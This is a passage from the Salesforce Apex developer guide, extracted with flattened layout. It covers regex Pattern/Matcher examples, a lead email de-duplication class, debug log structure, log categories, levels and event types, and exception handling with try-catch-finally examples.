myPattern.matcher('aba'); System.assert(myMatcher.matches() && myMatcher.hitEnd()); // We have two groups: group 0 is always the whole pattern, and group 1 contains // the substring that most recently matched--in this case, 'a'. // So the following is true: System.assert(myMatcher.groupCount() == 2 && myMatcher.group(0) == 'aba' && myMatcher.group(1) == 'a'); // Since group 0 refers to the whole pattern, the following is true: System.assert(myMatcher.end() == myMatcher.end(0)); // Since the offset after the last character matched is returned by end, // and since both groups used the last input letter, that offset is 3 // Remember the offset starts its count at 0. So the following is also true: System.assert(myMatcher.end() == 3 && 326
  • 351. Integration and Apex Utilities Pattern and Matcher Example myMatcher.end(0) == 3 && myMatcher.end(1) == 3); In the following example, email addresses are normalized and duplicates are reported if there is a different top-level domain name or subdomain for similar email addresses. For example, john@fairway.smithco is normalized to john@smithco. class normalizeEmailAddresses{ public void hasDuplicatesByDomain(Lead[] leads) { // This pattern reduces the email address to 'john@smithco' // from 'john@*.smithco.com' or 'john@smithco.*' Pattern emailPattern = Pattern.compile('(?<=@)((?![w]+.[w]+$) [w]+.)|(.[w]+$)'); // Define a set for emailkey to lead: Map<String,Lead> leadMap = new Map<String,Lead>(); for(Lead lead:leads) { // Ignore leads with a null email if(lead.Email != null) { // Generate the key using the regular expression String emailKey = emailPattern.matcher(lead.Email).replaceAll(''); // Look for duplicates in the batch if(leadMap.containsKey(emailKey)) lead.email.addError('Duplicate found in batch'); else { // Keep the key in the duplicate key custom field lead.Duplicate_Key__c = emailKey; leadMap.put(emailKey, lead); } } } // Now search the database looking for duplicates for(Lead[] leadsCheck:[SELECT Id, duplicate_key__c FROM Lead WHERE duplicate_key__c IN :leadMap.keySet()]) { for(Lead lead:leadsCheck) { // If there's a duplicate, add the error. if(leadMap.containsKey(lead.Duplicate_Key__c)) leadMap.get(lead.Duplicate_Key__c).email.addError('Duplicate found in salesforce(Id: ' + lead.Id + ')'); } } } } See Also: Pattern Class Matcher Class 327
  • 352. FINISHING TOUCHES Chapter 12 Debugging Apex In this chapter ... • • Understanding the Debug Log Exceptions in Apex Apex provides debugging support. You can debug your Apex code using the Developer Console and debug logs. To aid debugging in your code, Apex supports exception statements and custom exceptions. Also, Apex sends emails to developers for unhandled exceptions. 328
  • 353. Debugging Apex Understanding the Debug Log Understanding the Debug Log A debug log can record database operations, system processes, and errors that occur when executing a transaction or running unit tests. Debug logs can contain information about: • • • • • Database changes HTTP callouts Apex errors Resources used by Apex Automated workflow processes, such as: ◊ ◊ ◊ ◊ Workflow rules Assignment rules Approval processes Validation rules You can retain and manage the debug logs for specific users. To view saved debug logs, from Setup, click Monitoring > Debug Logs or Logs > Debug Logs. The following are the limits for debug logs: • • • Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any existing logs are not overwritten. Each debug log can only be 2 MB. Debug logs that are larger than 2 MB are reduced in size by removing older log lines, such as log lines for earlier System.debug statements. The log lines can be removed from any location, not just the start of the debug log. Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the oldest debug logs start being overwritten. Inspecting the Debug Log Sections After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user. However, the format for a debug log is always the same. A debug log has the following sections: Header The header contains the following information: • The version of the API used during the transaction. • The log category and level used to generate the log. For example: The following is an example of a header: 25.0 APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO; WORKFLOW,INFO In this example, the API version is 25.0, and the following debug log categories and levels have been set: Apex Code DEBUG Apex Profiling INFO 329
  • 354. Debugging Apex Understanding the Debug Log Callout INFO Database INFO System DEBUG Validation INFO Visualforce INFO Workflow INFO Execution Units An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. The execution is delimited by EXECUTION_STARTED and EXECUTION_FINISHED. Code Units A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService method, or a validation rule. Note: A class is not a discrete unit of code. Units of code are indicated by CODE_UNIT_STARTED and CODE_UNIT_FINISHED. Units of work can embed other units of work. For example: EXECUTION_STARTED CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for [new] CODE_UNIT_FINISHED <-- The trigger ends CODE_UNIT_FINISHED <-- The executeAnonymous ends EXECUTION_FINISHED Units of code include, but are not limited to, the following: • Triggers • Workflow invocations and time-based workflow • Validation rules • Approval processes • Apex lead convert • @future method invocations • Web service invocations • executeAnonymous calls • Visualforce property accesses on Apex controllers • Visualforce actions on Apex controllers • Execution of the batch Apex start and finish methods, as well as each execution of the execute method • Execution of the Apex System.Schedule execute method • Incoming email handling Log Lines Log lines are Included inside units of code and indicate what code or rules are being executed. Log lines can also be messages specifically written to the debug log. For example: 330
  • 355. Debugging Apex Understanding the Debug Log Log lines are made up of a set of fields, delimited by a pipe (|). The format is: • timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's time zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start of the request. The elapsed time value is excluded from logs reviewed in the Developer Console. • event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and character number where the code was executed. Additional Log Data In addition, the log contains the following information: • Cumulative resource usage is logged at the end of many code units, such as triggers, executeAnonymous, batch Apex message processing, @future methods, Apex test methods, Apex web service methods, and Apex lead convert. • Cumulative profiling information is logged once at the end of the transaction and contains information about the most expensive queries (used the most resources), DML invocations, and so on. The following is an example debug log: 22.0 APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO; WORKFLOW,INFO 11:47:46.030 (30064000)|EXECUTION_STARTED 11:47:46.030 (30159000)|CODE_UNIT_STARTED|[EXTERNAL]|TRIGGERS 11:47:46.030 (30271000)|CODE_UNIT_STARTED|[EXTERNAL]|01qD00000004JvP|myAccountTrigger on Account trigger event BeforeUpdate for [001D000000IzMaE] 11:47:46.038 (38296000)|SYSTEM_METHOD_ENTRY|[2]|System.debug(ANY) 11:47:46.038 (38450000)|USER_DEBUG|[2]|DEBUG|Hello World! 11:47:46.038 (38520000)|SYSTEM_METHOD_EXIT|[2]|System.debug(ANY) 11:47:46.546 (38587000)|CUMULATIVE_LIMIT_USAGE 11:47:46.546|LIMIT_USAGE_FOR_NS|(default)| Number of SOQL queries: 0 out of 100 Number of query rows: 0 out of 50000 Number of SOSL queries: 0 out of 20 Number of DML statements: 0 out of 150 Number of DML rows: 0 out of 10000 Number of code statements: 1 out of 200000 Maximum heap size: 0 out of 6000000 Number of callouts: 0 out of 10 Number of Email Invocations: 0 out of 10 Number of fields describes: 0 out of 100 Number of record type describes: 0 out of 100 Number of child relationships describes: 0 out of 100 Number of picklist describes: 0 out of 100 Number of future calls: 0 out of 10 11:47:46.546|CUMULATIVE_LIMIT_USAGE_END 11:47:46.038 BeforeUpdate 11:47:47.154 11:47:47.154 (38715000)|CODE_UNIT_FINISHED|myAccountTrigger on Account trigger event for [001D000000IzMaE] (1154831000)|CODE_UNIT_FINISHED|TRIGGERS (1154881000)|EXECUTION_FINISHED 331
  • 356. Debugging Apex Understanding the Debug Log Setting Debug Log Filters for Apex Classes and Triggers Debug log filtering provides a mechanism for fine-tuning the log verbosity at the trigger and class level. This is especially helpful when debugging Apex logic. For example, to evaluate the output of a complex process, you can raise the log verbosity for a given class while turning off logging for other classes or triggers within a single request. When you override the debug log levels for a class or trigger, these debug levels also apply to the class methods that your class or trigger calls and the triggers that get executed as a result. All class methods and triggers in the execution path inherit the debug log settings from their caller, unless they have these settings overridden. The following diagram illustrates overriding debug log levels at the class and trigger level. For this scenario, suppose Class1 is causing some issues that you would like to take a closer look at. To this end, the debug log levels of Class1 are raised to the finest granularity. Class3 doesn't override these log levels, and therefore inherits the granular log filters of Class1. However, UtilityClass has already been tested and is known to work properly, so it has its log filters turned off. Similarly, Class2 isn't in the code path that causes a problem, therefore it has its logging minimized to log only errors for the Apex Code category. Trigger2 inherits these log settings from Class2. Figure 8: Fine-tuning debug logging for classes and triggers The following is a pseudo-code example that the diagram is based on. 1. Trigger1 calls a method of Class1 and another method of Class2. For example: trigger Trigger1 on Account (before insert) { Class1.someMethod(); Class2.anotherMethod(); } 2. Class1 calls a method of Class3, which in turn calls a method of a utility class. For example: public class Class1 { public static void someMethod() { Class3.thirdMethod(); } } public class Class3 { public static void thirdMethod() { UtilityClass.doSomething(); } } 3. Class2 causes a trigger, Trigger2, to be executed. For example: public class Class2 { public static void anotherMethod() { // Some code that causes Trigger2 to be fired. 332
  • 357. Debugging Apex Working with Logs in the Developer Console } } To set log filters: 1. From a class or trigger detail page, click Log Filters. 2. Click Override Log Filters. The log filters are set to the default log levels. 3. Choose the log level desired for each log category. To learn more about debug log categories, debug log levels, and debug log events, see Setting Debug Log Filters. Working with Logs in the Developer Console Debugging Apex API Calls Working with Logs in the Developer Console Use the Logs tab in the Developer Console to open debug logs. Logs open in Log Inspector. Log Inspector is a context-sensitive execution viewer that shows the source of an operation, what triggered the operation, and what occurred afterward. Use this tool to inspect debug logs that include database events, Apex processing, workflow, and validation logic. To learn more about working with logs in the Developer Console, see “Log Inspector” in the Salesforce online help. When using the Developer Console or monitoring a debug log, you can specify the level of information that gets included in the log. Log category The type of information logged, such as information from Apex or workflow rules. Log level The amount of information logged. Event type The combination of log category and log level that specify which events get logged. Each event can log additional information, such as the line and character number where the event started, fields associated with the event, duration of the event in milliseconds, and so on. Debug Log Categories You can specify the following log categories. The amount of information logged for each category depends on the log level: Log Category Description Database Includes information about database activity, including every data manipulation language (DML) statement or inline SOQL or SOSL query. 333
  • 358. Debugging Apex Working with Logs in the Developer Console Log Category Description Workflow Includes information for workflow rules, such as the rule name, the actions taken, and so on. Validation Includes information about validation rules, such as the name of the rule, whether the rule evaluated true or false, and so on. Callout Includes the request-response XML that the server is sending and receiving from an external Web service. This is useful when debugging issues related to using Force.com Web services API calls. Apex Code Includes information about Apex code and can include information such as log messages generated by DML statements, inline SOQL or SOSL queries, the start and completion of any triggers, and the start and completion of any test method, and so on. Apex Profiling Includes cumulative profiling information, such as the limits for your namespace, the number of emails sent, and so on. Visualforce Includes information about Visualforce events, including serialization and deserialization of the view state or the evaluation of a formula field in a Visualforce page. System Includes information about calls to all system methods such as the System.debug method. Debug Log Levels You can specify the following log levels. The levels are listed from lowest to highest. Specific events are logged based on the combination of category and levels. Most events start being logged at the INFO level. The level is cumulative, that is, if you select FINE, the log will also include all events logged at DEBUG, INFO, WARN and ERROR levels. Note: Not all levels are available for all categories. Only the levels that correspond to one or more events are available. • • • • • • • ERROR WARN INFO DEBUG FINE FINER FINEST Important: Before running a deployment, verify that the Apex Code log level is not set to FINEST. If the Apex Code log level is set to FINEST, the deployment might take longer than expected. If the Developer Console is open, the log levels in the Developer Console affect all logs, including logs created during a deployment. Debug Event Types The following is an example of what is written to the debug log. The event is USER_DEBUG. The format is timestamp | event identifier: • timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's time zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start of the request. The elapsed time value is excluded from logs reviewed in the Developer Console. 334
  • 359. Debugging Apex • Working with Logs in the Developer Console event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and character number where the code was executed. The following is an example of a debug log line. Figure 9: Debug Log Line Example In this example, the event identifier is made up of the following: • Event name: USER_DEBUG • Line number of the event in the code: [2] • Logging level the System.Debug method was set to: DEBUG • User-supplied string for the System.Debug method: Hello world! The following example of a log line is triggered by this code snippet. Figure 10: Debug Log Line Code Snippet The following log line is recorded when the test reaches line 5 in the code: 15:51:01.071 (55856000)|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1 In this example, the event identifier is made up of the following: • Event name: DML_BEGIN 335
  • 360. Debugging Apex • Working with Logs in the Developer Console Line number of the event in the code: [5] • DML operation type—Insert: Op:Insert • Object name: Type:Invoice_Statement__c • Number of rows passed into the DML operation: Rows:1 The following table lists the event types that are logged, what fields or other information get logged with each event, as well as what combination of log level and category cause an event to be logged. Event Name Fields or Information Logged With Event Category Logged Level Logged BULK_HEAP_ALLOCATE Number of bytes allocated Apex Code FINEST CALLOUT_REQUEST Line number, request headers Callout INFO and above CALLOUT_RESPONSE Line number, response body Callout INFO and above CODE_UNIT_FINISHED None Apex Code ERROR and above CODE_UNIT_STARTED Line number, code unit name, such as Apex Code ERROR and above MyTrigger on Account trigger event BeforeInsert for [new] CONSTRUCTOR_ENTRY Line number, Apex class ID, the string <init>() with the types of parameters, if any, between the parentheses Apex Code DEBUG and above CONSTRUCTOR_EXIT Line number, the string <init>() with the Apex Code types of parameters, if any, between the parentheses DEBUG and above CUMULATIVE_LIMIT_USAGE None Apex Profiling INFO and above CUMULATIVE_LIMIT_USAGE_END None Apex Profiling INFO and above None Apex Profiling FINE and above CUMULATIVE_PROFILING_BEGIN None Apex Profiling FINE and above CUMULATIVE_PROFILING_END None Apex Profiling FINE and above CUMULATIVE_PROFILING DML_BEGIN Line number, operation (such as Insert, DB Update, and so on), record name or type, number of rows passed into DML operation INFO and above DML_END Line number DB INFO and above EMAIL_QUEUE Line number Apex Code INFO and above ENTERING_MANAGED_PKG Package namespace Apex Code INFO and above 336
  • 361. Debugging Apex Working with Logs in the Developer Console Event Name Fields or Information Logged With Event Category Logged Level Logged EXCEPTION_THROWN Line number, exception type, message Apex Code INFO and above EXECUTION_FINISHED None Apex Code ERROR and above EXECUTION_STARTED None Apex Code ERROR and above FATAL_ERROR Exception type, message, stack trace Apex Code ERROR and above HEAP_ALLOCATE Line number, number of bytes Apex Code FINER and above HEAP_DEALLOCATE Line number, number of bytes deallocated Apex Code FINER and above IDEAS_QUERY_EXECUTE Line number DB FINEST LIMIT_USAGE_FOR_NS Namespace, following limits: Apex Profiling FINEST Number of SOQL queries Number of query rows Number of SOSL queries Number of DML statements Number of DML rows Number of code statements Maximum heap size Number of callouts Number of Email Invocations Number of fields describes Number of record type describes Number of child relationships describes Number of picklist describes Number of future calls Number of find similar calls Number of System.runAs() invocations METHOD_ENTRY Line number, the Force.com ID of the class, Apex Code method signature DEBUG and above METHOD_EXIT Line number, the Force.com ID of the class, Apex Code method signature. DEBUG and above For constructors, the following information is logged: Line number, class name. POP_TRACE_FLAGS Line number, the Force.com ID of the class System or trigger that has its log filters set and that is going into scope, the name of this class or 337 INFO and above
  • 362. Debugging Apex Event Name Working with Logs in the Developer Console Fields or Information Logged With Event Category Logged Level Logged trigger, the log filter settings that are now in effect after leaving this scope PUSH_TRACE_FLAGS Line number, the Force.com ID of the class System or trigger that has its log filters set and that is going out of scope, the name of this class or trigger, the log filter settings that are now in effect after entering this scope INFO and above QUERY_MORE_BEGIN Line number DB INFO and above QUERY_MORE_END Line number DB INFO and above QUERY_MORE_ITERATIONS Line number, number of queryMore iterations DB INFO and above SAVEPOINT_ROLLBACK Line number, Savepoint name DB INFO and above SAVEPOINT_SET Line number, Savepoint name DB INFO and above SLA_END Number of cases, load time, processing time, Workflow number of case milestones to insert/update/delete, new trigger INFO and above SLA_EVAL_MILESTONE Milestone ID Workflow INFO and above SLA_NULL_START_DATE None Workflow INFO and above SLA_PROCESS_CASE Case ID Workflow INFO and above SOQL_EXECUTE_BEGIN Line number, number of aggregations, query DB source INFO and above SOQL_EXECUTE_END Line number, number of rows, duration in milliseconds DB INFO and above SOSL_EXECUTE_BEGIN Line number, query source DB INFO and above SOSL_EXECUTE_END Line number, number of rows, duration in milliseconds DB INFO and above Apex Profiling FINE and above Apex Code FINER and above STACK_FRAME_VARIABLE_LIST Frame number, variable list of the form: Variable number | Value. For example: var1:50 var2:'Hello World' STATEMENT_EXECUTE Line number STATIC_VARIABLE_LIST Variable list of the form: Variable number Apex Profiling | Value. For example: FINE and above var1:50 var2:'Hello World' SYSTEM_CONSTRUCTOR_ENTRY Line number, the string <init>() with the System types of parameters, if any, between the parentheses 338 DEBUG
  • 363. Debugging Apex Working with Logs in the Developer Console Event Name Fields or Information Logged With Event Category Logged Level Logged SYSTEM_CONSTRUCTOR_EXIT Line number, the string <init>() with the System types of parameters, if any, between the parentheses DEBUG SYSTEM_METHOD_ENTRY Line number, method signature System DEBUG SYSTEM_METHOD_EXIT Line number, method signature System DEBUG SYSTEM_MODE_ENTER Mode name System INFO and above SYSTEM_MODE_EXIT Mode name System INFO and above TESTING_LIMITS None Apex Profiling INFO and above Apex Profiling FINE and above Apex Code DEBUG and above by default. If the user sets the log level for the TOTAL_EMAIL_RECIPIENTS_QUEUED Number of emails sent USER_DEBUG Line number, logging level, user-supplied string System.Debug method, the event is logged at that level instead. VALIDATION_ERROR Error message Validation INFO and above VALIDATION_FAIL None Validation INFO and above VALIDATION_FORMULA Formula source, values Validation INFO and above VALIDATION_PASS None Validation INFO and above VALIDATION_RULE Rule name Validation INFO and above VARIABLE_ASSIGNMENT Line number, variable name, a string representation of the variable's value, the variable's address Apex Code FINEST VARIABLE_SCOPE_BEGIN Line number, variable name, type, a value Apex Code that indicates if the variable can be referenced, a value that indicates if the variable is static FINEST VARIABLE_SCOPE_END None Apex Code FINEST VF_APEX_CALL Element name, method name, return type Apex Code INFO and above VF_DESERIALIZE_VIEWSTATE_BEGIN View state ID Visualforce INFO and above VF_DESERIALIZE_VIEWSTATE_END None Visualforce INFO and above VF_EVALUATE_FORMULA_BEGIN View state ID, formula Visualforce FINER and above VF_EVALUATE_FORMULA_END None Visualforce FINER and above VF_PAGE_MESSAGE Message text Apex Code INFO and above VF_SERIALIZE_VIEWSTATE_BEGIN View state ID Visualforce INFO and above VF_SERIALIZE_VIEWSTATE_END None Visualforce INFO and above WF_ACTION Action description Workflow INFO and above WF_ACTION_TASK Task subject, action ID, rule, owner, due date Workflow INFO and above 339
  • 364. Debugging Apex Working with Logs in the Developer Console Event Name Fields or Information Logged With Event Category Logged Level Logged WF_ACTIONS_END Summary of actions performed Workflow INFO and above WF_APPROVAL Transition type, EntityName: NameField Workflow Id, process node name INFO and above WF_APPROVAL_REMOVE EntityName: NameField Id Workflow INFO and above WF_APPROVAL_SUBMIT EntityName: NameField Id Workflow INFO and above WF_ASSIGN Owner, assignee template ID Workflow INFO and above WF_CRITERIA_BEGIN EntityName: NameField Id, rule name, Workflow INFO and above rule ID, trigger type (if rule respects trigger types) WF_CRITERIA_END Boolean value indicating success (true or false) Workflow INFO and above WF_EMAIL_ALERT Action ID, rule Workflow INFO and above WF_EMAIL_SENT Email template ID, recipients, CC emails Workflow INFO and above WF_ENQUEUE_ACTIONS Summary of actions enqueued Workflow INFO and above WF_ESCALATION_ACTION Case ID, business hours Workflow INFO and above WF_ESCALATION_RULE None Workflow INFO and above WF_EVAL_ENTRY_CRITERIA Process name, email template ID, Boolean value indicating result (true or false) Workflow INFO and above WF_FIELD_UPDATE EntityName: NameField Id, object or Workflow INFO and above field name WF_FORMULA Formula source, values Workflow INFO and above WF_HARD_REJECT None Workflow INFO and above WF_NEXT_APPROVER Owner, next owner type, field Workflow INFO and above WF_NO_PROCESS_FOUND None Workflow INFO and above WF_OUTBOUND_MSG EntityName: NameField Id, action ID, Workflow INFO and above rule WF_PROCESS_NODE Process name Workflow INFO and above WF_REASSIGN_RECORD EntityName: NameField Id, owner Workflow INFO and above WF_RESPONSE_NOTIFY Notifier name, notifier email, notifier template ID Workflow INFO and above WF_RULE_ENTRY_ORDER Integer, indicating order Workflow INFO and above WF_RULE_EVAL_BEGIN Rule type Workflow INFO and above WF_RULE_EVAL_END None Workflow INFO and above WF_RULE_EVAL_VALUE Value Workflow INFO and above WF_RULE_FILTER Filter criteria Workflow INFO and above WF_RULE_INVOCATION EntityName: NameField Id Workflow INFO and above WF_RULE_NOT_EVALUATED None Workflow INFO and above WF_SOFT_REJECT Process name Workflow INFO and above 340
  • 365. Debugging Apex Debugging Apex API Calls Event Name Fields or Information Logged With Event Category Logged Level Logged WF_SPOOL_ACTION_BEGIN Node type Workflow INFO and above WF_TIME_TRIGGER EntityName: NameField Id, time action, Workflow INFO and above time action container, evaluation Datetime WF_TIME_TRIGGERS_BEGIN None Workflow INFO and above Debugging Apex API Calls All API calls that invoke Apex support a debug facility that allows access to detailed information about the execution of the code, including any calls to System.debug(). In addition to the Developer Console, a SOAP input header called DebuggingHeader allows you to set the logging granularity according to the levels outlined in the following table. Element Name Type Description LogCategory string Specify the type of information returned in the debug log. Valid values are: • Db • Workflow • Validation • Callout • Apex_code • Apex_profiling • All LogCategoryLevel string Specifies the amount of information returned in the debug log. Only the Apex_code LogCategory uses the log category levels. Valid log levels are (listed from lowest to highest): • • • • • • • ERROR WARN INFO DEBUG FINE FINER FINEST In addition, the following log levels are still supported as part of the DebuggingHeader for backwards compatibility. Log Level Description NONE Does not include any log messages. DEBUGONLY Includes lower level messages, as well as messages generated by calls to the System.debug method. DB Includes log messages generated by calls to the System.debug method, as well as every data manipulation language (DML) statement or inline SOQL or SOSL query. 341
  • 366. Debugging Apex Exceptions in Apex Log Level Description PROFILE Includes log messages generated by calls to the System.debug method, every DML statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined method. In addition, the end of the debug log contains overall profiling information for the portions of the request that used the most resources, in terms of SOQL and SOSL statements, DML operations, and Apex method invocations. These three sections list the locations in the code that consumed the most time, in descending order of total cumulative time, along with the number of times they were executed. CALLOUT Includes the request-response XML that the server is sending and receiving from an external Web service. This is useful when debugging issues related to using Force.com Web services API calls. DETAIL Includes all messages generated by the PROFILE level as well as the following: • Variable declaration statements • Start of loop executions • All loop controls, such as break and continue • Thrown exceptions * • Static and class initialization code * • Any changes in the with sharing context The corresponding output header, DebuggingInfo, contains the resulting debug log. For more information, see DebuggingHeader on page 1346. Exceptions in Apex Exceptions note errors and other events that disrupt the normal flow of code execution. throw statements are used to generate exceptions, while try, catch, and finally statements are used to gracefully recover from exceptions. There are many ways to handle errors in your code, including using assertions like System.assert calls, or returning error codes or Boolean values, so why use exceptions? The advantage of using exceptions is that they simplify error handling. Exceptions bubble up from the called method to the caller, as many levels as necessary, until a catch statement is found that will handle the error. This relieves you from writing error handling code in each of your methods. Also, by using finally statements, you have one place to recover from exceptions, like resetting variables and deleting data. What Happens When an Exception Occurs? When an exception occurs, code execution halts and any DML operations that were processed prior to the exception are rolled back and aren’t committed to the database. Exceptions get logged in debug logs. For unhandled exceptions, that is, exceptions that the code doesn’t catch, Salesforce sends an email to the developer with the exception information and the end user sees an error message in the Salesforce user interface. Unhandled Exceptions Emails The developer specified in the LastModifiedBy field receives the error via email with the Apex stack trace and the customer’s organization and user ID. No other customer data is returned with the report. Note: For Apex code that runs synchronously, some error emails may get suppressed for duplicate exception errors. For Apex code that runs asynchronously—batch Apex, scheduled Apex, or future methods (methods annotated with @future)—error emails for duplicate exceptions don’t get suppressed. 342
  • 367. Debugging Apex Exception Statements Unhandled Exceptions in the User Interface If an end user runs into an exception that occurred in Apex code while using the standard user interface, an error message appears on the page showing you the text of the unhandled exception as shown below: Exception Statements Apex uses exceptions to note errors and other events that disrupt the normal flow of code execution. throw statements can be used to generate exceptions, while try, catch, and finally can be used to gracefully recover from an exception. Throw Statements A throw statement allows you to signal that an error has occurred. To throw an exception, use the throw statement and provide it with an exception object to provide information about the specific error. For example: throw exceptionObject; Try-Catch-Finally Statements The try, catch, and finally statements can be used to gracefully recover from a thrown exception: • • • The try statement identifies a block of code in which an exception can occur. The catch statement identifies a block of code that can handle a particular type of exception. A single try statement can have multiple associated catch statements; however, each catch statement must have a unique exception type. Also, once a particular exception type is caught in one catch block, the remaining catch blocks, if any, aren’t executed. The finally statement optionally identifies a block of code that is guaranteed to execute and allows you to clean up after the code enclosed in the try block. A single try statement can have only one associated finally statement. Code in the finally block always executes regardless of the type of exception that was thrown and handled. Syntax The syntax of these statements is as follows: try { code_block } catch (exceptionType) { code_block } // Optional catch statements for other exception types. // Note that the general exception type, 'Exception', // must be the last catch block when it is used. } catch (Exception e) { 343
  • 368. Debugging Apex Exception Handling Example code_block } // Optional finally statement } finally { code_block } This is a skeletal example of a try-catch-finally block. try { // Perform some operation that // might cause an exception. } catch(Exception e) { // Generic exception handling code here. } finally { // Perform some clean up. } Exceptions that Can’t be Caught Some special types of built-in exceptions can’t be caught. Those exceptions are associated with critical situations in the Force.com platform. These situations require the abortion of code execution and don’t allow for execution to resume through exception handling. One such exception is the limit exception that the runtime throws if a governor limit has been exceeded, such as when the maximum number of SOQL queries issued has been exceeded. Other examples are exceptions thrown when assertion statements fail (through System.assert methods) or license exceptions. When exceptions are uncatchable, catch blocks, as well as finally blocks if any, aren’t executed. Exception Handling Example To see an exception in action, execute some code that causes a DML exception to be thrown. Execute the following in the Developer Console: Merchandise__c m = new Merchandise__c(); insert m; The insert DML statement in the example causes a DmlException because we’re inserting a merchandise item without setting any of its required fields. This is the exception error that you see in the debug log. System.DmlException: Insert failed. First exception on row 0; first error: REQUIRED_FIELD_MISSING, Required fields are missing: [Description, Price, Total Inventory]: [Description, Price, Total Inventory] Next, execute this snippet in the Developer Console. It’s based on the previous example but includes a try-catch block. try { Merchandise__c m = new Merchandise__c(); insert m; } catch(DmlException e) { System.debug('The following exception has occurred: ' + e.getMessage()); } Notice that the request status in the Developer Console now reports success. This is because the code handles the exception. Any statements in the try block occurring after the exception are skipped and aren’t executed. For example, if you add a statement after insert m;, this statement won’t be executed. Execute the following: try { Merchandise__c m = new Merchandise__c(); insert m; 344
  • 369. Debugging Apex Exception Handling Example // This doesn't execute since insert causes an exception System.debug('Statement after insert.'); } catch(DmlException e) { System.debug('The following exception has occurred: ' + e.getMessage()); } In the new debug log entry, notice that you don’t see a debug message of Statement after insert. This is because this debug statement occurs after the exception caused by the insertion and never gets executed. To continue the execution of code statements after an exception happens, place the statement after the try-catch block. Execute this modified code snippet and notice that the debug log now has a debug message of Statement after insert. try { Merchandise__c m = new Merchandise__c(); insert m; } catch(DmlException e) { System.debug('The following exception has occurred: ' + e.getMessage()); } // This will get executed System.debug('Statement after insert.'); Alternatively, you can include additional try-catch blocks. This code snippet has the System.debug statement inside a second try-catch block. Execute it to see that you get the same result as before. try { Merchandise__c m = new Merchandise__c(); insert m; } catch(DmlException e) { System.debug('The following exception has occurred: ' + e.getMessage()); } try { System.debug('Statement after insert.'); // Insert other records } catch (Exception e) { // Handle this exception here } The finally block always executes regardless of what exception is thrown, and even if no exception is thrown. Let’s see it used in action. Execute the following: // Declare the variable outside the try-catch block // so that it will be in scope for all blocks. XmlStreamWriter w = null; try { w = new XmlStreamWriter(); w.writeStartDocument(null, '1.0'); w.writeStartElement(null, 'book', null); w.writeCharacters('This is my book'); w.writeEndElement(); w.writeEndDocument(); // Perform some other operations String s; // This causes an exception because // the string hasn't been assigned a value. Integer i = s.length(); } catch(Exception e) { System.debug('An exception occurred: ' + e.getMessage()); } finally { // This gets executed after the exception is handled System.debug('Closing the stream writer in the finally block.'); // Close the stream writer w.close(); } 345
  • 370. Debugging Apex Built-In Exceptions and Common Methods The previous code snippet creates an XML stream writer and adds some XML elements. Next, an exception occurs due to accessing the null String variable s. The catch block handles this exception. Then the finally block executes. It writes a debug message and closes the stream writer, which frees any associated resources. Check the debug output in the debug log. You’ll see the debug message Closing the stream writer in the finally block. after the exception error. This tells you that the finally block executed after the exception was caught. Built-In Exceptions and Common Methods Apex provides a number of built-in exception types that the runtime engine throws if errors are encountered during execution. You’ve seen the DmlException in the previous example. Here is a sample of some other built-in exceptions. DmlException Any problem with a DML statement, such as an insert statement missing a required field on a record. This example makes use of DmlException. The insert DML statement in this example causes a DmlException because it’s inserting a merchandise item without setting any of its required fields. This exception is caught in the catch block and the exception message is written to the debug log using the System.debug statement. try { Merchandise__c m = new Merchandise__c(); insert m; } catch(DmlException e) { System.debug('The following exception has occurred: ' + e.getMessage()); } ListException Any problem with a list, such as attempting to access an index that is out of bounds. This example creates a list and adds one element to it. Then, an attempt is made to access two elements, one at index 0, which exists, and one at index 1, which causes a ListException to be thrown because no element exists at this index. This exception is caught in the catch block. The System.debug statement in the catch block writes the following to the debug log: The following exception has occurred: List index out of bounds: 1. try { List<Integer> li = new List<Integer>(); li.add(15); // This list contains only one element, // but we're attempting to access the second element // from this zero-based list. Integer i1 = li[0]; Integer i2 = li[1]; // Causes a ListException } catch(ListException le) { System.debug('The following exception has occurred: ' + le.getMessage()); } NullPointerException Any problem with dereferencing a null variable. This example creates a String variable named s but we don’t initialize it to a value, hence, it is null. Calling the contains method on our null variable causes a NullPointerException. The exception is caught in our catch block and this is what is written to the debug log: The following exception has occurred: Attempt to de-reference a null object. try { String s; Boolean b = s.contains('abc'); // Causes a NullPointerException 346
  • 371. Debugging Apex Built-In Exceptions and Common Methods } catch(NullPointerException npe) { System.debug('The following exception has occurred: ' + npe.getMessage()); } QueryException Any problem with SOQL queries, such as assigning a query that returns no records or more than one record to a singleton sObject variable. The second SOQL query in this example causes a QueryException. The example assigns a Merchandise object to what is returned from the query. Note the use of LIMIT 1 in the query. This ensures that at most one object is returned from the database so we can assign it to a single object and not a list. However, in this case, we don’t have a Merchandise named XYZ, so nothing is returned, and the attempt to assign the return value to a single object results in a QueryException. The exception is caught in our catch block and this is what you’ll see in the debug log: The following exception has occurred: List has no rows for assignment to SObject. try { // This statement doesn't cause an exception, even though // we don't have a merchandise with name='XYZ'. // The list will just be empty. List<Merchandise__c> lm = [SELECT Name FROM Merchandise__c WHERE Name='XYZ']; // lm.size() is 0 System.debug(lm.size()); // However, this statement causes a QueryException because // we're assiging the return value to a Merchandise__c object // but no Merchandise is returned. 